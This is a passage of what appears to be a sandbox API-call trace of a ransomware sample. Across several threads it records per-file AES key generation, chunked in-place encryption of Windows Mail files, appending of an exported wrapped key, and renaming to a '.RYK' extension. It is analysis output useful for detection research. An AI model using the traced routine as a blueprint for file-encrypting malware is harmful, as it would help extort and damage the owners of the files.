	[0268.606] CryptExportKey (in: hKey=0x3f7d90, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x962f6a0 | out: pbData=0x0*, pdwDataLen=0x962f6a0*=0x10c) returned 1
	[0268.606] CryptExportKey (in: hKey=0x3f7d90, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x962f710, pdwDataLen=0x962f6a0 | out: pbData=0x962f710*, pdwDataLen=0x962f6a0*=0x10c) returned 1
	[0268.606] WriteFile (in: hFile=0x7e8, lpBuffer=0x962f710*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x962f690, lpOverlapped=0x0 | out: lpBuffer=0x962f710*, lpNumberOfBytesWritten=0x962f690*=0x10c, lpOverlapped=0x0) returned 1
	[0268.606] CloseHandle (hObject=0x7e8) returned 1
	[0269.473] CryptDestroyKey (hKey=0x3f7d90) returned 1
	[0269.473] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb00001.log"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb00001.log.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb00001.log.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3658
	os_tid = 0x3ea0

	[0267.815] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00001.jrs", dwFileAttributes=0x80) returned 1
	[0267.816] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ec
	[0267.816] GetFileSizeEx (in: hFile=0x7ec, lpFileSize=0x924f558 | out: lpFileSize=0x924f558*=2097152) returned 1
	[0267.816] GetFileSizeEx (in: hFile=0x7ec, lpFileSize=0x924f568 | out: lpFileSize=0x924f568*=2097152) returned 1
	[0267.816] SetFilePointerEx (in: hFile=0x7ec, liDistanceToMove=0x1ffede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0267.816] ReadFile (in: hFile=0x7ec, lpBuffer=0x924f5b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x924f520, lpOverlapped=0x0 | out: lpBuffer=0x924f5b0*, lpNumberOfBytesRead=0x924f520*=0x19, lpOverlapped=0x0) returned 1
	[0267.819] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0267.819] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x924f538 | out: phKey=0x924f538*=0x3f7e00) returned 1
	[0267.819] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0267.819] ReadFile (in: hFile=0x7ec, lpBuffer=0x3380000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x924f544, lpOverlapped=0x0 | out: lpBuffer=0x3380000*, lpNumberOfBytesRead=0x924f544*=0xf4240, lpOverlapped=0x0) returned 1
	[0267.836] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x924f540*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x924f540*=0xf4240) returned 1
	[0267.836] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3380000*, pdwDataLen=0x924f548*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3380000*, pdwDataLen=0x924f548*=0xf4240) returned 1
	[0267.842] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0267.842] WriteFile (in: hFile=0x7ec, lpBuffer=0x3380000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x924f544, lpOverlapped=0x0 | out: lpBuffer=0x3380000*, lpNumberOfBytesWritten=0x924f544*=0xf4240, lpOverlapped=0x0) returned 1
	[0267.850] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0267.850] ReadFile (in: hFile=0x7ec, lpBuffer=0x3380000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x924f544, lpOverlapped=0x0 | out: lpBuffer=0x3380000*, lpNumberOfBytesRead=0x924f544*=0xf4240, lpOverlapped=0x0) returned 1
	[0268.229] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x924f540*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x924f540*=0xf4240) returned 1
	[0268.229] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3380000*, pdwDataLen=0x924f548*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3380000*, pdwDataLen=0x924f548*=0xf4240) returned 1
	[0268.235] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0268.235] WriteFile (in: hFile=0x7ec, lpBuffer=0x3380000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x924f544, lpOverlapped=0x0 | out: lpBuffer=0x3380000*, lpNumberOfBytesWritten=0x924f544*=0xf4240, lpOverlapped=0x0) returned 1
	[0268.242] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0268.242] ReadFile (in: hFile=0x7ec, lpBuffer=0x3380000, nNumberOfBytesToRead=0x17b80, lpNumberOfBytesRead=0x924f544, lpOverlapped=0x0 | out: lpBuffer=0x3380000*, lpNumberOfBytesRead=0x924f544*=0x17b80, lpOverlapped=0x0) returned 1
	[0268.661] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x924f540*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x924f540*=0xf4250) returned 1
	[0268.661] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3380000*, pdwDataLen=0x924f548*=0x17b80, dwBufLen=0xf4250 | out: pbData=0x3380000*, pdwDataLen=0x924f548*=0x17b90) returned 1
	[0268.661] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0268.661] WriteFile (in: hFile=0x7ec, lpBuffer=0x3380000*, nNumberOfBytesToWrite=0x17b90, lpNumberOfBytesWritten=0x924f544, lpOverlapped=0x0 | out: lpBuffer=0x3380000*, lpNumberOfBytesWritten=0x924f544*=0x17b90, lpOverlapped=0x0) returned 1
	[0268.683] WriteFile (in: hFile=0x7ec, lpBuffer=0x924f570*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x924f550, lpOverlapped=0x0 | out: lpBuffer=0x924f570*, lpNumberOfBytesWritten=0x924f550*=0x6, lpOverlapped=0x0) returned 1
	[0268.683] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x924f560 | out: pbData=0x0*, pdwDataLen=0x924f560*=0x10c) returned 1
	[0268.683] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x924f5d0, pdwDataLen=0x924f560 | out: pbData=0x924f5d0*, pdwDataLen=0x924f560*=0x10c) returned 1
	[0268.683] WriteFile (in: hFile=0x7ec, lpBuffer=0x924f5d0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x924f550, lpOverlapped=0x0 | out: lpBuffer=0x924f5d0*, lpNumberOfBytesWritten=0x924f550*=0x10c, lpOverlapped=0x0) returned 1
	[0268.683] CloseHandle (hObject=0x7ec) returned 1
	[0273.510] CryptDestroyKey (hKey=0x3f7e00) returned 1
	[0273.510] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00001.jrs"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00001.jrs.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00001.jrs.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3659
	os_tid = 0x3ea4

	[0267.863] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00002.jrs", dwFileAttributes=0x80) returned 1
	[0268.243] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8
	[0268.243] GetFileSizeEx (in: hFile=0x7a8, lpFileSize=0x977f578 | out: lpFileSize=0x977f578*=2097152) returned 1
	[0268.243] GetFileSizeEx (in: hFile=0x7a8, lpFileSize=0x977f588 | out: lpFileSize=0x977f588*=2097152) returned 1
	[0268.243] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0x1ffede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0268.243] ReadFile (in: hFile=0x7a8, lpBuffer=0x977f5d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x977f540, lpOverlapped=0x0 | out: lpBuffer=0x977f5d0*, lpNumberOfBytesRead=0x977f540*=0x19, lpOverlapped=0x0) returned 1
	[0268.246] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.246] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x977f558 | out: phKey=0x977f558*=0x3f7e70) returned 1
	[0268.246] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.246] ReadFile (in: hFile=0x7a8, lpBuffer=0x3480000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x977f564, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesRead=0x977f564*=0xf4240, lpOverlapped=0x0) returned 1
	[0268.268] CryptEncrypt (in: hKey=0x3f7e70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x977f560*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x977f560*=0xf4240) returned 1
	[0268.268] CryptEncrypt (in: hKey=0x3f7e70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3480000*, pdwDataLen=0x977f568*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3480000*, pdwDataLen=0x977f568*=0xf4240) returned 1
	[0268.275] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.276] WriteFile (in: hFile=0x7a8, lpBuffer=0x3480000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x977f564, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesWritten=0x977f564*=0xf4240, lpOverlapped=0x0) returned 1
	[0268.281] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0268.281] ReadFile (in: hFile=0x7a8, lpBuffer=0x3480000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x977f564, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesRead=0x977f564*=0xf4240, lpOverlapped=0x0) returned 1
	[0269.104] CryptEncrypt (in: hKey=0x3f7e70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x977f560*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x977f560*=0xf4240) returned 1
	[0269.104] CryptEncrypt (in: hKey=0x3f7e70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3480000*, pdwDataLen=0x977f568*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3480000*, pdwDataLen=0x977f568*=0xf4240) returned 1
	[0269.273] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0269.273] WriteFile (in: hFile=0x7a8, lpBuffer=0x3480000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x977f564, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesWritten=0x977f564*=0xf4240, lpOverlapped=0x0) returned 1
	[0269.368] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0269.368] ReadFile (in: hFile=0x7a8, lpBuffer=0x3480000, nNumberOfBytesToRead=0x17b80, lpNumberOfBytesRead=0x977f564, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesRead=0x977f564*=0x17b80, lpOverlapped=0x0) returned 1
	[0269.392] CryptEncrypt (in: hKey=0x3f7e70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x977f560*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x977f560*=0xf4250) returned 1
	[0269.392] CryptEncrypt (in: hKey=0x3f7e70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3480000*, pdwDataLen=0x977f568*=0x17b80, dwBufLen=0xf4250 | out: pbData=0x3480000*, pdwDataLen=0x977f568*=0x17b90) returned 1
	[0269.393] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0269.393] WriteFile (in: hFile=0x7a8, lpBuffer=0x3480000*, nNumberOfBytesToWrite=0x17b90, lpNumberOfBytesWritten=0x977f564, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesWritten=0x977f564*=0x17b90, lpOverlapped=0x0) returned 1
	[0269.414] WriteFile (in: hFile=0x7a8, lpBuffer=0x977f590*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x977f570, lpOverlapped=0x0 | out: lpBuffer=0x977f590*, lpNumberOfBytesWritten=0x977f570*=0x6, lpOverlapped=0x0) returned 1
	[0269.414] CryptExportKey (in: hKey=0x3f7e70, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x977f580 | out: pbData=0x0*, pdwDataLen=0x977f580*=0x10c) returned 1
	[0269.415] CryptExportKey (in: hKey=0x3f7e70, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x977f5f0, pdwDataLen=0x977f580 | out: pbData=0x977f5f0*, pdwDataLen=0x977f580*=0x10c) returned 1
	[0269.415] WriteFile (in: hFile=0x7a8, lpBuffer=0x977f5f0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x977f570, lpOverlapped=0x0 | out: lpBuffer=0x977f5f0*, lpNumberOfBytesWritten=0x977f570*=0x10c, lpOverlapped=0x0) returned 1
	[0269.415] CloseHandle (hObject=0x7a8) returned 1
	[0275.373] CryptDestroyKey (hKey=0x3f7e70) returned 1
	[0275.373] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00002.jrs"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00002.jrs.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00002.jrs.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3660
	os_tid = 0x3ea8

	[0267.864] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\oeold.xml", dwFileAttributes=0x80) returned 1
	[0268.285] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\oeold.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4
	[0268.285] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x996fc18 | out: lpFileSize=0x996fc18*=260) returned 1
	[0268.285] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x996fc28 | out: lpFileSize=0x996fc28*=260) returned 1
	[0268.285] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x996fbf8 | out: phKey=0x996fbf8*=0x3f8030) returned 1
	[0268.285] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.285] ReadFile (in: hFile=0x7b4, lpBuffer=0x3580000, nNumberOfBytesToRead=0x104, lpNumberOfBytesRead=0x996fc04, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x996fc04*=0x104, lpOverlapped=0x0) returned 1
	[0268.287] CryptEncrypt (in: hKey=0x3f8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x996fc00*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x996fc00*=0xf4250) returned 1
	[0268.288] CryptEncrypt (in: hKey=0x3f8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3580000*, pdwDataLen=0x996fc08*=0x104, dwBufLen=0xf4250 | out: pbData=0x3580000*, pdwDataLen=0x996fc08*=0x110) returned 1
	[0268.288] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.288] WriteFile (in: hFile=0x7b4, lpBuffer=0x3580000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x996fc04, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesWritten=0x996fc04*=0x110, lpOverlapped=0x0) returned 1
	[0268.288] WriteFile (in: hFile=0x7b4, lpBuffer=0x996fc30*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x996fc10, lpOverlapped=0x0 | out: lpBuffer=0x996fc30*, lpNumberOfBytesWritten=0x996fc10*=0x6, lpOverlapped=0x0) returned 1
	[0268.288] CryptExportKey (in: hKey=0x3f8030, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x996fc20 | out: pbData=0x0*, pdwDataLen=0x996fc20*=0x10c) returned 1
	[0268.288] CryptExportKey (in: hKey=0x3f8030, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x996fc90, pdwDataLen=0x996fc20 | out: pbData=0x996fc90*, pdwDataLen=0x996fc20*=0x10c) returned 1
	[0268.288] WriteFile (in: hFile=0x7b4, lpBuffer=0x996fc90*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x996fc10, lpOverlapped=0x0 | out: lpBuffer=0x996fc90*, lpNumberOfBytesWritten=0x996fc10*=0x10c, lpOverlapped=0x0) returned 1
	[0268.288] CloseHandle (hObject=0x7b4) returned 1
	[0268.289] CryptDestroyKey (hKey=0x3f8030) returned 1
	[0268.289] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\oeold.xml"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\oeold.xml.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\oeold.xml.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3661
	os_tid = 0x3eac

	[0267.865] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", dwFileAttributes=0x80) returned 1
	[0273.821] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0
	[0273.821] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x8e0f7f8 | out: lpFileSize=0x8e0f7f8*=255) returned 1
	[0273.821] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x8e0f808 | out: lpFileSize=0x8e0f808*=255) returned 1
	[0273.822] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8e0f7d8 | out: phKey=0x8e0f7d8*=0x3f7e00) returned 1
	[0273.822] SetFilePointer (in: hFile=0x7f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0273.822] ReadFile (in: hFile=0x7f0, lpBuffer=0x3680000, nNumberOfBytesToRead=0xff, lpNumberOfBytesRead=0x8e0f7e4, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesRead=0x8e0f7e4*=0xff, lpOverlapped=0x0) returned 1
	[0273.824] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8e0f7e0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8e0f7e0*=0xf4250) returned 1
	[0273.824] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3680000*, pdwDataLen=0x8e0f7e8*=0xff, dwBufLen=0xf4250 | out: pbData=0x3680000*, pdwDataLen=0x8e0f7e8*=0x100) returned 1
	[0273.824] SetFilePointer (in: hFile=0x7f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0273.824] WriteFile (in: hFile=0x7f0, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x8e0f7e4, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x8e0f7e4*=0x100, lpOverlapped=0x0) returned 1
	[0273.824] WriteFile (in: hFile=0x7f0, lpBuffer=0x8e0f810*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8e0f7f0, lpOverlapped=0x0 | out: lpBuffer=0x8e0f810*, lpNumberOfBytesWritten=0x8e0f7f0*=0x6, lpOverlapped=0x0) returned 1
	[0273.824] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8e0f800 | out: pbData=0x0*, pdwDataLen=0x8e0f800*=0x10c) returned 1
	[0273.824] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8e0f870, pdwDataLen=0x8e0f800 | out: pbData=0x8e0f870*, pdwDataLen=0x8e0f800*=0x10c) returned 1
	[0273.824] WriteFile (in: hFile=0x7f0, lpBuffer=0x8e0f870*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8e0f7f0, lpOverlapped=0x0 | out: lpBuffer=0x8e0f870*, lpNumberOfBytesWritten=0x8e0f7f0*=0x10c, lpOverlapped=0x0) returned 1
	[0273.825] CloseHandle (hObject=0x7f0) returned 1
	[0273.829] CryptDestroyKey (hKey=0x3f7e00) returned 1
